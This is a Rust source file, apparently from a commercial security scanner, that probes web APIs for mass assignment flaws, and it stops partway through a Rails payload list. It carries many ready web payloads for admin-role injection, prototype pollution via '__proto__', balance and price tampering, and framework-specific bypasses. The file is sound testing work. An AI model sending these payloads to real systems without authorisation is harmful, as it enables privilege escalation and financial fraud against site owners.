Skip to main content

lonkero_scanner/scanners/
mass_assignment_advanced.rs

1// Copyright (c) 2026 Bountyy Oy. All rights reserved.
2// This software is proprietary and confidential.
3
4/**
5 * Bountyy Oy - Advanced Mass Assignment Scanner (Context-Aware)
6 *
7 * Production-ready scanner for sophisticated mass assignment vulnerabilities.
8 * This is an ADVANCED version with more sophisticated techniques than the basic scanner.
9 *
10 * ADVANCED TECHNIQUES:
11 * ====================
12 * 1. NESTED OBJECT INJECTION:
13 *    - Deep property injection: user[profile][role][admin]=true
14 *    - Multi-level nesting: 2-6 levels deep
15 *    - Both bracket and dot notation support
16 *
17 * 2. DOT NOTATION POLLUTION:
18 *    - user.role=admin
19 *    - user.permissions.admin=true
20 *    - profile.settings.verified=true
21 *
22 * 3. ARRAY PARAMETER POLLUTION:
23 *    - roles[]=admin&roles[]=user
24 *    - permissions[0]=read&permissions[1]=write&permissions[2]=admin
25 *    - users[0][role]=admin
26 *
27 * 4. JSON DEEP MERGE EXPLOITATION:
28 *    - Recursive object merging attacks
29 *    - Framework-specific merge behaviors
30 *    - Prototype chain manipulation
31 *
32 * 5. FRAMEWORK-SPECIFIC TESTS:
33 *    - Rails: params.permit bypass via nested attributes
34 *    - Django: Model serializer bypass
35 *    - Express: Body parser exploitation
36 *    - Spring: Jackson annotation bypass
37 *    - Laravel: Eloquent mass assignment bypass
38 *
39 * 6. COMMON PRIVILEGE ESCALATION TARGETS:
40 *    - Role/permission fields: role, isAdmin, permissions, verified
41 *    - Financial fields: balance, credits, subscription, tier
42 *    - Account fields: email_verified, phone_verified, active
43 *    - Timestamp fields: created_at, updated_at
44 *    - Ownership fields: id, user_id, owner_id, account_id
45 *
46 * CONTEXT-AWARE FEATURES:
47 * =======================
48 * - Detects API framework from responses
49 * - Identifies JSON vs form data endpoints
50 * - Uses AppCharacteristics for intelligent testing
51 * - Focuses on POST/PUT/PATCH endpoints
52 * - Extracts field names from responses
53 *
54 * ZERO FALSE POSITIVES:
55 * =====================
56 * - Uses unique markers for verification
57 * - Requires structured response evidence
58 * - Validates actual state changes
59 * - Cross-references multiple indicators
60 *
61 * @copyright 2026 Bountyy Oy
62 * @license Proprietary - Enterprise Edition
63 */
64use crate::detection_helpers::AppCharacteristics;
65use crate::http_client::HttpClient;
66use crate::types::{Confidence, ScanConfig, Severity, Vulnerability};
67use serde_json::{json, Value};
68use std::collections::HashSet;
69use std::sync::Arc;
70use tracing::{debug, info};
71
72/// Advanced Mass Assignment Scanner with context-aware detection
73pub struct AdvancedMassAssignmentScanner {
74    http_client: Arc<HttpClient>,
75    test_marker: String,
76}
77
78/// Detected API framework
79#[derive(Debug, Clone, PartialEq)]
80pub enum ApiFramework {
81    Rails,
82    Django,
83    Express,
84    Spring,
85    Laravel,
86    FastAPI,
87    Flask,
88    AspNet,
89    Unknown,
90}
91
92/// Content type for the endpoint
93#[derive(Debug, Clone, PartialEq)]
94pub enum ContentType {
95    Json,
96    FormData,
97    Multipart,
98    Unknown,
99}
100
101/// Endpoint context for intelligent testing
102#[derive(Debug, Clone)]
103pub struct EndpointContext {
104    pub framework: ApiFramework,
105    pub content_type: ContentType,
106    pub is_data_modification: bool,
107    pub extracted_fields: HashSet<String>,
108    pub has_user_context: bool,
109    pub has_auth: bool,
110}
111
112impl Default for EndpointContext {
113    fn default() -> Self {
114        Self {
115            framework: ApiFramework::Unknown,
116            content_type: ContentType::Unknown,
117            is_data_modification: false,
118            extracted_fields: HashSet::new(),
119            has_user_context: false,
120            has_auth: false,
121        }
122    }
123}
124
125impl AdvancedMassAssignmentScanner {
126    pub fn new(http_client: Arc<HttpClient>) -> Self {
127        let test_marker = format!("maa_{}", generate_uuid());
128        Self {
129            http_client,
130            test_marker,
131        }
132    }
133
134    /// Main scan entry point
135    pub async fn scan(
136        &self,
137        url: &str,
138        _config: &ScanConfig,
139    ) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
140        // License check for advanced features
141        if !crate::license::is_feature_available("mass_assignment_advanced") {
142            debug!("Advanced mass assignment scanner requires premium license");
143            return Ok((Vec::new(), 0));
144        }
145
146        let mut vulnerabilities = Vec::new();
147        let mut tests_run = 0;
148
149        info!("[MassAssignment-Advanced] Starting context-aware mass assignment scan");
150
151        // Phase 1: Detect endpoint context
152        let context = self.detect_endpoint_context(url).await;
153        debug!(
154            "[MassAssignment-Advanced] Detected context: framework={:?}, content_type={:?}, is_data_mod={}",
155            context.framework, context.content_type, context.is_data_modification
156        );
157
158        // Phase 2: Test nested object injection
159        let (vulns, tests) = self.test_nested_object_injection(url, &context).await?;
160        vulnerabilities.extend(vulns);
161        tests_run += tests;
162
163        // Phase 3: Test dot notation pollution
164        if vulnerabilities.is_empty() {
165            let (vulns, tests) = self.test_dot_notation_pollution(url, &context).await?;
166            vulnerabilities.extend(vulns);
167            tests_run += tests;
168        }
169
170        // Phase 4: Test array parameter pollution
171        if vulnerabilities.is_empty() {
172            let (vulns, tests) = self.test_array_parameter_pollution(url, &context).await?;
173            vulnerabilities.extend(vulns);
174            tests_run += tests;
175        }
176
177        // Phase 5: Test JSON deep merge exploitation
178        if vulnerabilities.is_empty() && context.content_type == ContentType::Json {
179            let (vulns, tests) = self.test_json_deep_merge(url, &context).await?;
180            vulnerabilities.extend(vulns);
181            tests_run += tests;
182        }
183
184        // Phase 6: Framework-specific tests
185        if vulnerabilities.is_empty() {
186            let (vulns, tests) = self.test_framework_specific(url, &context).await?;
187            vulnerabilities.extend(vulns);
188            tests_run += tests;
189        }
190
191        // Phase 7: Privilege escalation field tests
192        if vulnerabilities.is_empty() {
193            let (vulns, tests) = self.test_privilege_escalation_fields(url, &context).await?;
194            vulnerabilities.extend(vulns);
195            tests_run += tests;
196        }
197
198        // Phase 8: Ownership manipulation tests
199        if vulnerabilities.is_empty() {
200            let (vulns, tests) = self.test_ownership_manipulation(url, &context).await?;
201            vulnerabilities.extend(vulns);
202            tests_run += tests;
203        }
204
205        // Phase 9: Financial field manipulation
206        if vulnerabilities.is_empty() {
207            let (vulns, tests) = self
208                .test_financial_field_manipulation(url, &context)
209                .await?;
210            vulnerabilities.extend(vulns);
211            tests_run += tests;
212        }
213
214        // Phase 10: Timestamp manipulation
215        if vulnerabilities.is_empty() {
216            let (vulns, tests) = self.test_timestamp_manipulation(url, &context).await?;
217            vulnerabilities.extend(vulns);
218            tests_run += tests;
219        }
220
221        if vulnerabilities.is_empty() {
222            info!(
223                "[MassAssignment-Advanced] No vulnerabilities found after {} tests",
224                tests_run
225            );
226        } else {
227            info!(
228                "[MassAssignment-Advanced] Found {} vulnerabilities",
229                vulnerabilities.len()
230            );
231        }
232
233        Ok((vulnerabilities, tests_run))
234    }
235
236    /// Scan with application characteristics for context-aware testing
237    pub async fn scan_with_context(
238        &self,
239        url: &str,
240        config: &ScanConfig,
241        characteristics: &AppCharacteristics,
242    ) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
243        // Skip if not an API endpoint
244        if !characteristics.is_api && !self.looks_like_data_endpoint(url) {
245            debug!(
246                "[MassAssignment-Advanced] Skipping non-API endpoint: {}",
247                url
248            );
249            return Ok((Vec::new(), 0));
250        }
251
252        // Skip static sites and pure SPAs
253        if characteristics.is_static && !characteristics.is_api {
254            debug!("[MassAssignment-Advanced] Skipping static site: {}", url);
255            return Ok((Vec::new(), 0));
256        }
257
258        self.scan(url, config).await
259    }
260
261    /// Detect endpoint context for intelligent testing
262    async fn detect_endpoint_context(&self, url: &str) -> EndpointContext {
263        let mut context = EndpointContext::default();
264
265        // Try to get a response to analyze
266        if let Ok(response) = self.http_client.get(url).await {
267            let body = &response.body;
268            let headers = &response.headers;
269
270            // Detect content type
271            if let Some(ct) = headers.get("content-type") {
272                let ct_lower = ct.to_lowercase();
273                if ct_lower.contains("application/json") {
274                    context.content_type = ContentType::Json;
275                } else if ct_lower.contains("application/x-www-form-urlencoded") {
276                    context.content_type = ContentType::FormData;
277                } else if ct_lower.contains("multipart/form-data") {
278                    context.content_type = ContentType::Multipart;
279                }
280            }
281
282            // Detect framework from headers and body
283            context.framework = self.detect_framework(headers, body);
284
285            // Extract field names from JSON response
286            if let Ok(json) = serde_json::from_str::<Value>(body) {
287                context.extracted_fields = self.extract_field_names(&json);
288            }
289
290            // Detect user context
291            let body_lower = body.to_lowercase();
292            context.has_user_context = body_lower.contains("user")
293                || body_lower.contains("profile")
294                || body_lower.contains("account");
295
296            // Detect authentication
297            context.has_auth = headers.contains_key("authorization")
298                || headers.contains_key("x-auth-token")
299                || body_lower.contains("token")
300                || body_lower.contains("session");
301        }
302
303        // Check if URL indicates data modification endpoint
304        context.is_data_modification = self.is_data_modification_endpoint(url);
305
306        context
307    }
308
309    /// Detect API framework from response
310    fn detect_framework(
311        &self,
312        headers: &std::collections::HashMap<String, String>,
313        body: &str,
314    ) -> ApiFramework {
315        let body_lower = body.to_lowercase();
316
317        // Check headers
318        if let Some(server) = headers.get("server") {
319            let server_lower = server.to_lowercase();
320            if server_lower.contains("passenger") || server_lower.contains("puma") {
321                return ApiFramework::Rails;
322            }
323            if server_lower.contains("gunicorn") || server_lower.contains("uvicorn") {
324                if body_lower.contains("fastapi") {
325                    return ApiFramework::FastAPI;
326                }
327                return ApiFramework::Django;
328            }
329            if server_lower.contains("werkzeug") {
330                return ApiFramework::Flask;
331            }
332            if server_lower.contains("kestrel") || server_lower.contains("iis") {
333                return ApiFramework::AspNet;
334            }
335        }
336
337        // Check X-Powered-By
338        if let Some(powered_by) = headers.get("x-powered-by") {
339            let powered_lower = powered_by.to_lowercase();
340            if powered_lower.contains("express") {
341                return ApiFramework::Express;
342            }
343            if powered_lower.contains("php") {
344                return ApiFramework::Laravel; // Could be Laravel
345            }
346            if powered_lower.contains("asp.net") {
347                return ApiFramework::AspNet;
348            }
349        }
350
351        // Check body patterns
352        if body_lower.contains("actioncontroller") || body_lower.contains("rails") {
353            return ApiFramework::Rails;
354        }
355        if body_lower.contains("django") || body_lower.contains("drf") {
356            return ApiFramework::Django;
357        }
358        if body_lower.contains("laravel") || body_lower.contains("lumen") {
359            return ApiFramework::Laravel;
360        }
361        if body_lower.contains("spring") || body_lower.contains("jackson") {
362            return ApiFramework::Spring;
363        }
364
365        ApiFramework::Unknown
366    }
367
368    /// Extract field names from JSON response
369    fn extract_field_names(&self, json: &Value) -> HashSet<String> {
370        let mut fields = HashSet::new();
371        self.extract_fields_recursive(json, "", &mut fields);
372        fields
373    }
374
375    fn extract_fields_recursive(&self, json: &Value, prefix: &str, fields: &mut HashSet<String>) {
376        match json {
377            Value::Object(map) => {
378                for (key, value) in map {
379                    let field_name = if prefix.is_empty() {
380                        key.clone()
381                    } else {
382                        format!("{}.{}", prefix, key)
383                    };
384                    fields.insert(key.clone());
385                    fields.insert(field_name.clone());
386                    self.extract_fields_recursive(value, &field_name, fields);
387                }
388            }
389            Value::Array(arr) => {
390                for item in arr {
391                    self.extract_fields_recursive(item, prefix, fields);
392                }
393            }
394            _ => {}
395        }
396    }
397
398    /// Check if URL indicates a data modification endpoint
399    fn is_data_modification_endpoint(&self, url: &str) -> bool {
400        let url_lower = url.to_lowercase();
401        let modification_patterns = [
402            "/create",
403            "/update",
404            "/edit",
405            "/save",
406            "/register",
407            "/signup",
408            "/profile",
409            "/settings",
410            "/account",
411            "/user",
412            "/admin",
413            "/checkout",
414            "/order",
415            "/payment",
416            "/subscription",
417        ];
418
419        modification_patterns.iter().any(|p| url_lower.contains(p))
420    }
421
422    /// Check if URL looks like a data endpoint
423    fn looks_like_data_endpoint(&self, url: &str) -> bool {
424        let url_lower = url.to_lowercase();
425        url_lower.contains("/api/")
426            || url_lower.contains("/v1/")
427            || url_lower.contains("/v2/")
428            || url_lower.contains("/rest/")
429            || url_lower.contains("/graphql")
430            || self.is_data_modification_endpoint(url)
431    }
432
433    // ========================================================================
434    // NESTED OBJECT INJECTION
435    // ========================================================================
436
437    async fn test_nested_object_injection(
438        &self,
439        url: &str,
440        context: &EndpointContext,
441    ) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
442        let mut vulnerabilities = Vec::new();
443        let tests_run;
444
445        info!("[MassAssignment-Advanced] Testing nested object injection");
446
447        // URL-encoded nested payloads
448        let url_payloads = self.generate_nested_url_payloads();
449        tests_run = url_payloads.len();
450
451        for (payload, technique) in &url_payloads {
452            let test_url = if url.contains('?') {
453                format!("{}&{}", url, payload)
454            } else {
455                format!("{}?{}", url, payload)
456            };
457
458            match self.http_client.get(&test_url).await {
459                Ok(response) => {
460                    if self.verify_nested_injection(&response.body, payload) {
461                        info!(
462                            "[MassAssignment-Advanced] Nested object injection detected: {}",
463                            technique
464                        );
465                        vulnerabilities.push(self.create_vulnerability(
466                            url,
467                            "Advanced Nested Object Injection",
468                            payload,
469                            &format!(
470                                "Deep nested object properties can be injected via mass assignment. \
471                                Technique: {}. Framework: {:?}",
472                                technique, context.framework
473                            ),
474                            &format!("Successfully injected nested property using {}", technique),
475                            Severity::Critical,
476                            Confidence::High,
477                            "CWE-915",
478                            9.0,
479                        ));
480                        return Ok((vulnerabilities, tests_run));
481                    }
482                }
483                Err(e) => {
484                    debug!("Nested object test request failed: {}", e);
485                }
486            }
487        }
488
489        // JSON nested payloads for JSON endpoints
490        if context.content_type == ContentType::Json || context.content_type == ContentType::Unknown
491        {
492            let json_payloads = self.generate_nested_json_payloads();
493
494            for (payload, technique) in json_payloads {
495                let headers = vec![("Content-Type".to_string(), "application/json".to_string())];
496
497                match self
498                    .http_client
499                    .post_with_headers(url, &payload.to_string(), headers)
500                    .await
501                {
502                    Ok(response) => {
503                        if self.verify_json_injection(&response.body, &payload) {
504                            info!(
505                                "[MassAssignment-Advanced] JSON nested injection detected: {}",
506                                technique
507                            );
508                            vulnerabilities.push(self.create_vulnerability(
509                                url,
510                                "Advanced JSON Nested Object Injection",
511                                &payload.to_string(),
512                                &format!(
513                                    "Deep nested JSON objects can be injected via mass assignment. \
514                                    Technique: {}. Framework: {:?}",
515                                    technique, context.framework
516                                ),
517                                &format!(
518                                    "Successfully injected nested JSON property using {}",
519                                    technique
520                                ),
521                                Severity::Critical,
522                                Confidence::High,
523                                "CWE-915",
524                                9.0,
525                            ));
526                            return Ok((vulnerabilities, tests_run));
527                        }
528                    }
529                    Err(e) => {
530                        debug!("JSON nested test request failed: {}", e);
531                    }
532                }
533            }
534        }
535
536        Ok((vulnerabilities, tests_run))
537    }
538
539    fn generate_nested_url_payloads(&self) -> Vec<(String, String)> {
540        vec![
541            // 2-level bracket notation
542            (
543                "user[role]=admin".to_string(),
544                "2-level: user[role]".to_string(),
545            ),
546            (
547                "user[isAdmin]=true".to_string(),
548                "2-level: user[isAdmin]".to_string(),
549            ),
550            (
551                "user[admin]=1".to_string(),
552                "2-level: user[admin]".to_string(),
553            ),
554            (
555                "profile[admin]=true".to_string(),
556                "2-level: profile[admin]".to_string(),
557            ),
558            (
559                "account[verified]=true".to_string(),
560                "2-level: account[verified]".to_string(),
561            ),
562            // 3-level bracket notation
563            (
564                "user[profile][role]=admin".to_string(),
565                "3-level: user[profile][role]".to_string(),
566            ),
567            (
568                "user[permissions][admin]=true".to_string(),
569                "3-level: user[permissions][admin]".to_string(),
570            ),
571            (
572                "account[settings][role]=admin".to_string(),
573                "3-level: account[settings][role]".to_string(),
574            ),
575            (
576                "profile[data][verified]=true".to_string(),
577                "3-level: profile[data][verified]".to_string(),
578            ),
579            // 4-level bracket notation
580            (
581                "user[profile][role][level]=admin".to_string(),
582                "4-level: user[profile][role][level]".to_string(),
583            ),
584            (
585                "account[user][permissions][admin]=true".to_string(),
586                "4-level: account[user][permissions][admin]".to_string(),
587            ),
588            // 5-level bracket notation (for deeply nested APIs)
589            (
590                "data[user][profile][permissions][admin]=true".to_string(),
591                "5-level: data[user][profile][permissions][admin]".to_string(),
592            ),
593            // With unique marker for verification
594            (
595                format!("user[{}]=injected", self.test_marker),
596                format!("marker: user[{}]", self.test_marker),
597            ),
598            (
599                format!("user[profile][{}]=injected", self.test_marker),
600                format!("marker: user[profile][{}]", self.test_marker),
601            ),
602        ]
603    }
604
605    fn generate_nested_json_payloads(&self) -> Vec<(Value, String)> {
606        vec![
607            // 2-level nesting
608            (
609                json!({"user": {"role": "admin"}}),
610                "2-level JSON: user.role".to_string(),
611            ),
612            (
613                json!({"user": {"isAdmin": true}}),
614                "2-level JSON: user.isAdmin".to_string(),
615            ),
616            (
617                json!({"profile": {"admin": true}}),
618                "2-level JSON: profile.admin".to_string(),
619            ),
620            // 3-level nesting
621            (
622                json!({"user": {"profile": {"role": "admin"}}}),
623                "3-level JSON: user.profile.role".to_string(),
624            ),
625            (
626                json!({"user": {"permissions": {"admin": true}}}),
627                "3-level JSON: user.permissions.admin".to_string(),
628            ),
629            (
630                json!({"account": {"settings": {"verified": true}}}),
631                "3-level JSON: account.settings.verified".to_string(),
632            ),
633            // 4-level nesting
634            (
635                json!({"user": {"profile": {"permissions": {"admin": true}}}}),
636                "4-level JSON: user.profile.permissions.admin".to_string(),
637            ),
638            (
639                json!({"account": {"user": {"role": {"level": "admin"}}}}),
640                "4-level JSON: account.user.role.level".to_string(),
641            ),
642            // 5-level nesting (for deeply nested APIs)
643            (
644                json!({"data": {"user": {"profile": {"permissions": {"admin": true}}}}}),
645                "5-level JSON: data.user.profile.permissions.admin".to_string(),
646            ),
647            // With marker
648            (
649                json!({"user": {self.test_marker.clone(): "injected"}}),
650                format!("marker JSON: user.{}", self.test_marker),
651            ),
652        ]
653    }
654
655    // ========================================================================
656    // DOT NOTATION POLLUTION
657    // ========================================================================
658
659    async fn test_dot_notation_pollution(
660        &self,
661        url: &str,
662        context: &EndpointContext,
663    ) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
664        let mut vulnerabilities = Vec::new();
665
666        info!("[MassAssignment-Advanced] Testing dot notation pollution");
667
668        let dot_payloads = vec![
669            // Basic dot notation
670            ("user.role=admin", "dot: user.role"),
671            ("user.isAdmin=true", "dot: user.isAdmin"),
672            ("user.admin=1", "dot: user.admin"),
673            ("profile.admin=true", "dot: profile.admin"),
674            ("account.verified=true", "dot: account.verified"),
675            // Deeper dot notation
676            ("user.profile.role=admin", "dot: user.profile.role"),
677            ("user.permissions.admin=true", "dot: user.permissions.admin"),
678            ("account.settings.role=admin", "dot: account.settings.role"),
679            ("profile.data.verified=true", "dot: profile.data.verified"),
680            // Very deep dot notation
681            (
682                "user.profile.permissions.admin=true",
683                "dot: user.profile.permissions.admin",
684            ),
685            (
686                "data.user.account.role=admin",
687                "dot: data.user.account.role",
688            ),
689            // Financial fields
690            ("user.balance=999999", "dot: user.balance"),
691            ("account.credits=999999", "dot: account.credits"),
692            ("subscription.tier=premium", "dot: subscription.tier"),
693        ];
694
695        let tests_run = dot_payloads.len();
696
697        for (payload, technique) in &dot_payloads {
698            let test_url = if url.contains('?') {
699                format!("{}&{}", url, payload)
700            } else {
701                format!("{}?{}", url, payload)
702            };
703
704            match self.http_client.get(&test_url).await {
705                Ok(response) => {
706                    if self.verify_dot_notation_injection(&response.body, payload) {
707                        info!(
708                            "[MassAssignment-Advanced] Dot notation pollution detected: {}",
709                            technique
710                        );
711                        vulnerabilities.push(self.create_vulnerability(
712                            url,
713                            "Dot Notation Property Pollution",
714                            payload,
715                            &format!(
716                                "Properties can be injected using dot notation syntax. \
717                                Technique: {}. Framework: {:?}",
718                                technique, context.framework
719                            ),
720                            &format!("Successfully polluted property using {}", technique),
721                            Severity::High,
722                            Confidence::High,
723                            "CWE-915",
724                            8.0,
725                        ));
726                        return Ok((vulnerabilities, tests_run));
727                    }
728                }
729                Err(e) => {
730                    debug!("Dot notation test request failed: {}", e);
731                }
732            }
733        }
734
735        // Also test with marker
736        let marker_payload = format!("user.{}=injected", self.test_marker);
737        let test_url = if url.contains('?') {
738            format!("{}&{}", url, marker_payload)
739        } else {
740            format!("{}?{}", url, marker_payload)
741        };
742
743        if let Ok(response) = self.http_client.get(&test_url).await {
744            if response
745                .body
746                .to_lowercase()
747                .contains(&self.test_marker.to_lowercase())
748            {
749                vulnerabilities.push(self.create_vulnerability(
750                    url,
751                    "Dot Notation Property Pollution (Verified)",
752                    &marker_payload,
753                    "Properties can be injected using dot notation syntax. \
754                    Verified with unique marker.",
755                    "Successfully polluted property with verified marker injection",
756                    Severity::High,
757                    Confidence::High,
758                    "CWE-915",
759                    8.0,
760                ));
761            }
762        }
763
764        Ok((vulnerabilities, tests_run))
765    }
766
767    // ========================================================================
768    // ARRAY PARAMETER POLLUTION
769    // ========================================================================
770
771    async fn test_array_parameter_pollution(
772        &self,
773        url: &str,
774        context: &EndpointContext,
775    ) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
776        let mut vulnerabilities = Vec::new();
777
778        info!("[MassAssignment-Advanced] Testing array parameter pollution");
779
780        let array_payloads = vec![
781            // Simple array injection
782            ("roles[]=admin&roles[]=user", "array: roles[]"),
783            (
784                "permissions[]=admin&permissions[]=read",
785                "array: permissions[]",
786            ),
787            ("groups[]=administrators&groups[]=users", "array: groups[]"),
788            // Indexed array injection
789            (
790                "permissions[0]=read&permissions[1]=write&permissions[2]=admin",
791                "indexed: permissions[n]",
792            ),
793            ("roles[0]=user&roles[1]=admin", "indexed: roles[n]"),
794            // Nested array objects
795            ("users[0][role]=admin", "nested array: users[0][role]"),
796            ("users[0][isAdmin]=true", "nested array: users[0][isAdmin]"),
797            ("items[0][price]=0", "nested array: items[0][price]"),
798            ("orders[0][amount]=0", "nested array: orders[0][amount]"),
799            // Deep nested arrays
800            (
801                "data[users][0][role]=admin",
802                "deep array: data[users][0][role]",
803            ),
804            (
805                "accounts[0][permissions][0]=admin",
806                "deep array: accounts[0][permissions][0]",
807            ),
808            // Negative indices (some frameworks vulnerable)
809            ("users[-1][role]=admin", "negative index: users[-1][role]"),
810            ("items[-1][admin]=true", "negative index: items[-1][admin]"),
811            // Large indices (potential DoS or bypass)
812            ("users[9999][role]=admin", "large index: users[9999][role]"),
813            // PHP-style array append
814            ("role[]=admin", "PHP append: role[]"),
815            ("admin[]=true", "PHP append: admin[]"),
816        ];
817
818        let tests_run = array_payloads.len();
819
820        for (payload, technique) in &array_payloads {
821            let test_url = if url.contains('?') {
822                format!("{}&{}", url, payload)
823            } else {
824                format!("{}?{}", url, payload)
825            };
826
827            match self.http_client.get(&test_url).await {
828                Ok(response) => {
829                    if self.verify_array_pollution(&response.body, payload) {
830                        info!(
831                            "[MassAssignment-Advanced] Array parameter pollution detected: {}",
832                            technique
833                        );
834                        vulnerabilities.push(self.create_vulnerability(
835                            url,
836                            "Array Parameter Pollution",
837                            payload,
838                            &format!(
839                                "Array parameters can be polluted to inject malicious values. \
840                                Technique: {}. Framework: {:?}",
841                                technique, context.framework
842                            ),
843                            &format!("Successfully polluted array using {}", technique),
844                            Severity::High,
845                            Confidence::Medium,
846                            "CWE-915",
847                            7.5,
848                        ));
849                        return Ok((vulnerabilities, tests_run));
850                    }
851                }
852                Err(e) => {
853                    debug!("Array pollution test request failed: {}", e);
854                }
855            }
856        }
857
858        // JSON array payloads
859        if context.content_type == ContentType::Json || context.content_type == ContentType::Unknown
860        {
861            let json_array_payloads = vec![
862                (json!({"roles": ["admin", "user"]}), "JSON array: roles"),
863                (
864                    json!({"permissions": ["read", "write", "admin"]}),
865                    "JSON array: permissions",
866                ),
867                (
868                    json!({"user": {"roles": ["admin"]}}),
869                    "JSON nested array: user.roles",
870                ),
871                (
872                    json!({"users": [{"role": "admin"}]}),
873                    "JSON object array: users[].role",
874                ),
875                (
876                    json!({"data": {"permissions": ["admin"]}}),
877                    "JSON deep array: data.permissions",
878                ),
879            ];
880
881            for (payload, technique) in json_array_payloads {
882                let headers = vec![("Content-Type".to_string(), "application/json".to_string())];
883
884                match self
885                    .http_client
886                    .post_with_headers(url, &payload.to_string(), headers)
887                    .await
888                {
889                    Ok(response) => {
890                        if self.verify_json_array_pollution(&response.body, &payload) {
891                            info!(
892                                "[MassAssignment-Advanced] JSON array pollution detected: {}",
893                                technique
894                            );
895                            vulnerabilities.push(self.create_vulnerability(
896                                url,
897                                "JSON Array Parameter Pollution",
898                                &payload.to_string(),
899                                &format!(
900                                    "JSON arrays can be polluted to inject malicious values. \
901                                    Technique: {}. Framework: {:?}",
902                                    technique, context.framework
903                                ),
904                                &format!("Successfully polluted JSON array using {}", technique),
905                                Severity::High,
906                                Confidence::Medium,
907                                "CWE-915",
908                                7.5,
909                            ));
910                            return Ok((vulnerabilities, tests_run));
911                        }
912                    }
913                    Err(e) => {
914                        debug!("JSON array pollution test request failed: {}", e);
915                    }
916                }
917            }
918        }
919
920        Ok((vulnerabilities, tests_run))
921    }
922
923    // ========================================================================
924    // JSON DEEP MERGE EXPLOITATION
925    // ========================================================================
926
927    async fn test_json_deep_merge(
928        &self,
929        url: &str,
930        context: &EndpointContext,
931    ) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
932        let mut vulnerabilities = Vec::new();
933
934        info!("[MassAssignment-Advanced] Testing JSON deep merge exploitation");
935
936        let merge_payloads = vec![
937            // Basic merge attacks
938            (
939                json!({"user": {"role": "admin"}, "profile": {"verified": true}}),
940                "multi-object merge",
941            ),
942            (
943                json!({"__proto__": {"isAdmin": true}}),
944                "prototype pollution merge",
945            ),
946            (
947                json!({"constructor": {"prototype": {"admin": true}}}),
948                "constructor pollution merge",
949            ),
950            // Deep merge with overwrite
951            (
952                json!({
953                    "user": {
954                        "profile": {
955                            "permissions": {
956                                "admin": true,
957                                "superuser": true
958                            }
959                        }
960                    }
961                }),
962                "deep 4-level merge",
963            ),
964            // Merge with arrays and objects
965            (
966                json!({
967                    "user": {
968                        "roles": ["admin"],
969                        "permissions": {"admin": true}
970                    }
971                }),
972                "mixed array-object merge",
973            ),
974            // Prototype chain manipulation
975            (
976                json!({
977                    "__proto__": {"isAdmin": true},
978                    "user": {"role": "admin"}
979                }),
980                "prototype + object merge",
981            ),
982            // Recursive merge attempt
983            (
984                json!({
985                    "data": {
986                        "nested": {
987                            "deep": {
988                                "admin": true,
989                                "role": "superuser"
990                            }
991                        }
992                    }
993                }),
994                "recursive deep merge",
995            ),
996            // With marker for verification
997            (
998                json!({
999                    "user": {
1000                        self.test_marker.clone(): "injected",
1001                        "role": "admin"
1002                    }
1003                }),
1004                "verified merge with marker",
1005            ),
1006        ];
1007
1008        let tests_run = merge_payloads.len();
1009
1010        for (payload, technique) in merge_payloads {
1011            let headers = vec![("Content-Type".to_string(), "application/json".to_string())];
1012
1013            match self
1014                .http_client
1015                .post_with_headers(url, &payload.to_string(), headers)
1016                .await
1017            {
1018                Ok(response) => {
1019                    if self.verify_deep_merge(&response.body, &payload) {
1020                        info!(
1021                            "[MassAssignment-Advanced] JSON deep merge exploitation detected: {}",
1022                            technique
1023                        );
1024                        vulnerabilities.push(self.create_vulnerability(
1025                            url,
1026                            "JSON Deep Merge Exploitation",
1027                            &payload.to_string(),
1028                            &format!(
1029                                "Framework performs deep merge on JSON input allowing property injection. \
1030                                Technique: {}. Framework: {:?}",
1031                                technique, context.framework
1032                            ),
1033                            &format!("Successfully exploited deep merge using {}", technique),
1034                            Severity::Critical,
1035                            Confidence::High,
1036                            "CWE-915",
1037                            9.0,
1038                        ));
1039                        return Ok((vulnerabilities, tests_run));
1040                    }
1041                }
1042                Err(e) => {
1043                    debug!("Deep merge test request failed: {}", e);
1044                }
1045            }
1046        }
1047
1048        Ok((vulnerabilities, tests_run))
1049    }
1050
1051    // ========================================================================
1052    // FRAMEWORK-SPECIFIC TESTS
1053    // ========================================================================
1054
1055    async fn test_framework_specific(
1056        &self,
1057        url: &str,
1058        context: &EndpointContext,
1059    ) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
1060        let mut vulnerabilities = Vec::new();
1061        let mut tests_run = 0;
1062
1063        info!(
1064            "[MassAssignment-Advanced] Testing framework-specific vulnerabilities for {:?}",
1065            context.framework
1066        );
1067
1068        match context.framework {
1069            ApiFramework::Rails => {
1070                let (vulns, tests) = self.test_rails_specific(url).await?;
1071                vulnerabilities.extend(vulns);
1072                tests_run += tests;
1073            }
1074            ApiFramework::Django => {
1075                let (vulns, tests) = self.test_django_specific(url).await?;
1076                vulnerabilities.extend(vulns);
1077                tests_run += tests;
1078            }
1079            ApiFramework::Express => {
1080                let (vulns, tests) = self.test_express_specific(url).await?;
1081                vulnerabilities.extend(vulns);
1082                tests_run += tests;
1083            }
1084            ApiFramework::Spring => {
1085                let (vulns, tests) = self.test_spring_specific(url).await?;
1086                vulnerabilities.extend(vulns);
1087                tests_run += tests;
1088            }
1089            ApiFramework::Laravel => {
1090                let (vulns, tests) = self.test_laravel_specific(url).await?;
1091                vulnerabilities.extend(vulns);
1092                tests_run += tests;
1093            }
1094            _ => {
1095                // Test generic payloads for unknown frameworks
1096                let (vulns, tests) = self.test_generic_framework(url).await?;
1097                vulnerabilities.extend(vulns);
1098                tests_run += tests;
1099            }
1100        }
1101
1102        Ok((vulnerabilities, tests_run))
1103    }
1104
1105    /// Rails-specific mass assignment tests (params.permit bypass)
1106    async fn test_rails_specific(&self, url: &str) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
1107        let mut vulnerabilities = Vec::new();
1108
1109        let rails_payloads = vec![
1110            // Rails nested attributes bypass
1111            ("user[admin]=true", "Rails: direct admin"),
1112            (
1113                "user[attributes][admin]=true",
1114                "Rails: nested attributes admin",
1115            ),
1116            (
1117                "user[user_attributes][role]=admin",
1118                "Rails: user_attributes",
1119            ),
1120            (
1121                "model[_destroy]=false&model[admin]=true",
1122                "Rails: _destroy bypass",
1123            ),
1124            ("user[role_ids][]=1", "Rails: has_many through bypass"),
1125            // Rails accepts_nested_attributes_for bypass
1126            (
1127                "user[profile_attributes][verified]=true",
1128                "Rails: profile_attributes",
1129            ),
1130            (
